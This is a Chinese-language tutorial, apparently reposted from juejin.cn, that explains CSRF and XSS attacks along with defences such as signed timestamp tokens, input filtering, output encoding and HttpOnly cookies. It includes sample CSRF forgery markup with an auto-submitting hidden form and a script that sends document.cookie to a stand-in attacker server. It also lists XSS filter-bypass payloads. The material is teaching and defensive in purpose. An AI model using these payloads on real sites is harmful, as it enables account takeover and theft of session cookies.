一、CSRF
CSRF 全稱叫做,跨站請求偽造(Cross—Site Request Forgery),顧名思義,攻擊者盜用了你的身份,以你的名義發送惡意請求,對服務器來說這個請求是完全合法的,但是卻完成了攻擊者所期望的一個操作,比如以你的名義發送郵件、發消息,盜取你的賬號,添加系統管理員,甚至于購買商品、虛擬貨幣轉賬等。對于服務器而言,判斷請求對象是否是你本身的方法限于提供身份認證的cookie、秘鑰等,無法去識別個體。
1.原理介紹及流程分析
以下,舉例模擬一個被CSRF攻擊影響的例子:
①用戶C打開瀏覽器,訪問受信任網站A,輸入用戶名和密碼請求登錄網站A;
②在用戶信息通過驗證后,網站A產生Cookie信息并返回給瀏覽器,此時用戶登錄網站A成功,可以正常發送請求到網站A;
③用戶未退出網站A之前,在同一瀏覽器中,打開一個TAB頁訪問網站B;
④網站B接收到用戶請求后,返回一些攻擊性代碼,并發出一個請求要求訪問第三方站點A;
⑤瀏覽器在接收到這些攻擊性代碼后,根據網站B的請求,在用戶不知情的情況下攜帶Cookie信息,向網站A發出請求。網站A并不知道該請求其實是由B發起的,所以會根據用戶C的Cookie信息以C的權限處理該請求,導致來自網站B的惡意代碼被執行。
更為具體的舉例,偽造請求的方式一般有如下幾種方式:
// 頁面中有一個超鏈接,誘導用戶進行點擊
<a href="https://aaa.com?userid=3&money=9999">誘導信息</a>
// 直接在頁面上使用Img進行get請求
<img src="https://aaa.com?userid=3&money=9999"/>
// 或使用表單進行提交
<iframe name="heihei" style="display:none;"></iframe>
<form action="https://aaa.com?userid=3&money=9999" method="post" target="heihei" >
<input name="userid" value="3" type="hidden" />
<input name="money" value="9999" type="hidden" />
</form>
<script>
window.onload = function(){
document.forms[0].submit();
}
</script>
2.CSRF漏洞檢測
檢測CSRF漏洞是一項比較繁瑣的工作,最簡單的方法就是抓取一個正常請求的數據包,去掉Referer字段后再重新提交,如果該提交還有效,那么基本上可以確定存在CSRF漏洞。
當然我們也可以試著利用根據來進行漏洞檢測,隨著對CSRF漏洞研究的不斷深入,不斷涌現出一些專門針對CSRF漏洞進行檢測的工具,如CSRFTester,CSRF Request Builder等。
以CSRFTester工具為例,CSRF漏洞檢測工具的測試原理如下:使用CSRFTester進行測試時,首先需要抓取我們在瀏覽器中訪問過的所有鏈接以及所有的表單等信息,然后通過在CSRFTester中修改相應的表單等信息,重新提交,這相當于一次偽造客戶端請求。如果修改后的測試請求成功被網站服務器接受,則說明存在CSRF漏洞,當然此款工具也可以被用來進行CSRF攻擊。
3.CSRF防御原理
根據以上的方式我們能顯而易見看到,問題就出在“訪問網站B”和“攜帶Cookie信息”上。針對CRSF攻擊,CSRF防護的一個重點是要對“用戶憑證”進行校驗處理,通過這種機制可以對用戶的請求是合法進行判斷,判斷是不是跨站攻擊的行為。因為“用戶憑證”是Cookie中存儲的,所以防護機制的處理對像也是Cookie的數據,我們要在防護的數據中加入簽名校驗,并對數據進行生命周期時間管理,就是數據過期管理。
由此得出,CSRF防護的一個重點是要對“用戶憑證”進行校驗處理,通過這種機制可以對用戶的請求是合法進行判斷,判斷是不是跨站攻擊的行為。因為“用戶憑證”是Cookie中存儲的,所以防護機制的處理對像也是Cookie的數據,我們要在防護的數據中加入簽名校驗,并對數據進行生命周期時間管理,就是數據過期管理。
①防御思路
針對防止CSRF的發生,創建Token處理機制,Token數據結構與時間、加密簽名直接相關, 這么設計的的目的如上所說,是給“身份憑證”加上時間生存周期管理和簽名校驗管理,如果的憑證被人拿到了, 要先判斷Token中的“簽名”與時間戳是否都有效,再進行正常的業務處理, 這樣通過對非法數據的校驗過濾,來降低CSRF攻擊的成功率。
②簽名與時間戳防護處理流程
在token中加入上述方法中所描述的時間戳信息和簽名信息:
-----------------------------------------------------------------------------
| msg | separator | signature |
-----------------------------------------------------------------------------
| key | timestamp | . | Base64(sha256(msg)) |
-----------------------------------------------------------------------------
- msg部分: key即隨機生成的字符串用作用戶憑證認證+timestamp時間戳驗證時間用
- separator部分:用于分隔msg部分與加密后生成的signature簽名部分
- signature部分:signature即簽名,是對“msg消息”用特定算法進行加密后的串。
token = base64(msg)格式化..base64(sha256("密鎖", msg))
整個Token就是由被Base64的msg編碼串+先256加密msg再進行Base64編碼,兩個串的內容結合。
③Token校驗
在整個防御做法中,對于token的校驗流程為:
- 在服務器端對接收到的token進行分片,以分隔符進行分割,獲取信息內容和簽名
- 對于簽名驗證,對信息進行解碼,如果通過則進入時間校驗
- 如果簽名有效的,取出msg中的timestamp字段數據,與當前系統時間進行比較,如果過期時間小于當前時間,那這個token是過期的,需要重新的取得token。
二、XSS
XSS(跨站腳本攻擊,Cross-site scripting,簡稱并不是 css,因為 CSS是 層疊樣式表)是一種常見的 web 安全問題。XSS 攻擊手段是允許惡意web用戶將代碼植入到提供給其它用戶使用的頁面中。從而達到攻擊的目的。如,盜取用戶Cookie、破壞頁面結構、重定向到其它網站等。
1.XSS攻擊類型區分
① 反射型
反射型 XSS攻擊 通常是簡單地把用戶輸入的數據“反射”給瀏覽器。黑客一般會誘使用戶點擊一個有惡意的鏈接,用戶點擊就會發起 XSS 攻擊。反射型 XSS 攻擊可以將 JAVAScript 腳本插入到 html 節點中、HTML 屬性中以及通過 JS 注入到 URL 或 HTML 文檔中。
② 儲存型
存儲型 XSS攻擊 這種攻擊會把用戶輸入的數據存儲到服務器中。例如在一個有 XSS 漏洞的博客網站,黑客寫下一篇含有惡意 JavaScript 代碼的文章,文章發布后,所有看了這篇博文的用戶都會在他們的瀏覽器中執行惡意 JavaScript 代碼。
③ DOM-based 型
注意: 這種類型的劃分與以上兩種類型劃分方式不同,是按照Payload的位置劃分
DOM-based 型XSS攻擊 基于 DOM 的 XSS 攻擊是指通過惡意腳本修改頁面的 DOM 結構,是純粹發生在客戶端的攻擊。DOM 型 XSS 攻擊中,取出和執行惡意代碼由瀏覽器端完成,屬于前端 JavaScript 自身的安全漏洞。
發起 XSS 攻擊后,黑客寫入的 JavaScript 代碼就會執行,通過腳本可以控制用戶的瀏覽器。一個常見的攻擊手段是“Cookie 劫持”,cookie 中一般加密保存著當前用戶的登錄憑據,黑客可以通過惡意代碼將用戶的 cookie 發到自己的服務器上,然后就可以做到無密碼登錄上用戶的賬戶。
2.實現XSS攻擊的條件
①需要向web頁面注入惡意代碼;
②這些惡意代碼能夠被瀏覽器成功的執行。
3.會利用XSS攻擊獲取什么?
①竊取cookies,讀取目標網站的cookie發送到黑客的服務器上,如下面的代碼:
var i=document.createElement("img");
document.body.AppendChild(i);
i.src = "http://www.hackerserver.com/?c=" + document.cookie;
在此提到來自瀏覽器的自帶防御,瀏覽器針對于這類問題的存在,對于DOM對象的訪問會有自己的禁用方式,避免最基本的XSS注入。例如在舊版的IE8和IE8以下的版本都是可以被執行的,火狐也能執行代碼,但火狐對其禁止訪問DOM對象,所以在火狐下執行將會看到控制里拋出異常:document is not defined
②讀取用戶未公開的資料,如果:郵件列表或者內容、系統的客戶資料,聯系人列表等等,如代碼
③篡改網頁,進行釣魚或者惡意傳播
④網站重定向
4.XSS的防御
①具體舉例: 注入轉義
對于URL做解析時和發起get請求時都會需要讀取URL攜帶的參數,如果將 url 中的參數直接插入到 DOM 中,這就有可能構成 XSS 攻擊,攻擊者利用這一漏洞,給其他用戶發送一個有惡意的鏈接,用戶就有可能中招。 如:
http://www.example/test.index?param=<script>alert('XSS')</script>
這個 URL 的 param 參數值并不是合理的,而是攻擊者構建的。
再如: 一個超鏈接中的URL
<a href='http://www.xss.com?cookie='+document.cookie>
上述方式可以通過點擊鏈接的方式注入XSS,去獲取當前用戶的Cookie。
②防御方式
- 當惡意代碼值被作為某一標簽的內容顯示:在不需要html輸入的地方對html 標簽及一些特殊字符( ” < > & 等等 )做過濾,將其轉化為不被瀏覽器解釋執行的字符。
- 當惡意代碼被作為某一標簽的屬性顯示,通過用 “將屬性截斷來開辟新的屬性或惡意方法:屬性本身存在的 單引號和雙引號都需要進行轉碼;對用戶輸入的html 標簽及標簽屬性做白名單過濾,也可以對一些存在漏洞的標簽和屬性進行專門過濾。
③常見的xss攻擊方法
- 繞過XSS-Filter,利用<>標簽注入Html/JavaScript代碼;
- 利用HTML標簽的屬性值進行xss攻擊。例如:
<img src=“javascript:alert(‘xss’)”/>
(當然并不是所有的Web瀏覽器都支持Javascript偽協議,所以此類XSS攻擊具有一定的局限性)
- 空格、回車和Tab。如果XSS Filter僅僅將敏感的輸入字符列入黑名單,比如javascript,用戶可以利用空格、回車和Tab鍵來繞過過濾,例如:
<img src=“javas cript:alert(/xss/);”/>
- 利用事件來執行跨站腳本。例如:
<img src=“#” onerror= “alert(1)”/>
當src錯誤的視乎就會執行onerror事件
- 利用CSS跨站。例如:
Body {backgrund-image: url(“javascript:alert(‘xss’)”)}
- 擾亂過濾規則。例如:
<IMG SRC=“javaSCript: alert(/xss/);”/>
- 利用字符編碼,透過這種技巧,不僅能讓XSS代碼繞過服務端的過濾,還能更好地隱藏Shellcode;(JS支持unicode、eacapes、十六進制、十進制等編碼形式)
- 拆分跨站法,將xss攻擊的代碼拆分開來,適用于應用程序沒有過濾 XSS關鍵字符(如<、>)卻對輸入字符長度有限制的情況下;
- DOM型的XSS主要是由客戶端的腳本通過DOM動態地輸出數據到頁面上,它不依賴于提交數據到服務器,而是從客戶端獲得DOM中的數據在本地執行。容易導致DOM型的XSS的輸入源包括:Document.URL、Location(.pathname|.href|.search|.hash)、Document.referrer、Window.name、Document.cookie、localStorage/globalStorage;
5.XSS攻擊防御
原則:不相信客戶輸入的數據
注意:攻擊代碼不一定在<script></script>中
- 使用XSS Filter
輸入過濾,對用戶提交的數據進行有效性驗證,僅接受指定長度范圍內并符合我們期望格式的的內容提交,阻止或者忽略除此外的其他任何數據。比如:電話號碼必須是數字和中劃線組成,而且要設定長度上限。過濾一些些常見的敏感字符,例如:< > ‘ “ & # javascript expression "onclick=" "onfocus";過濾或移除特殊的Html標簽, 例如: <script>, <iframe> , < for <, > for >, " for;過濾JavaScript 事件的標簽,例如 "onclick=", "onfocus" 等等。
輸出編碼,當需要將一個字符串輸出到Web網頁時,同時又不確定這個字符串中是否包括XSS特殊字符(如< > &‘”等),為了確保輸出內容的完整性和正確性,可以使用編碼(HTMLEncode)進行處理。
- DOM型的XSS攻擊防御
把變量輸出到頁面時要做好相關的編碼轉義工作,如要輸出到 <script>中,可以進行JS編碼;要輸出到HTML內容或屬性,則進行HTML編碼處理。根據不同的語境采用不同的編碼處理方式。
- HttpOnly Cookie
將重要的cookie標記為http only, 這樣的話當瀏覽器向Web服務器發起請求的時就會帶上cookie字段,但是在腳本中卻不能訪問這個cookie,這樣就避免了XSS攻擊利用JavaScript的document.cookie獲取cookie:
原文:
https://juejin.cn/post/6874730741989801997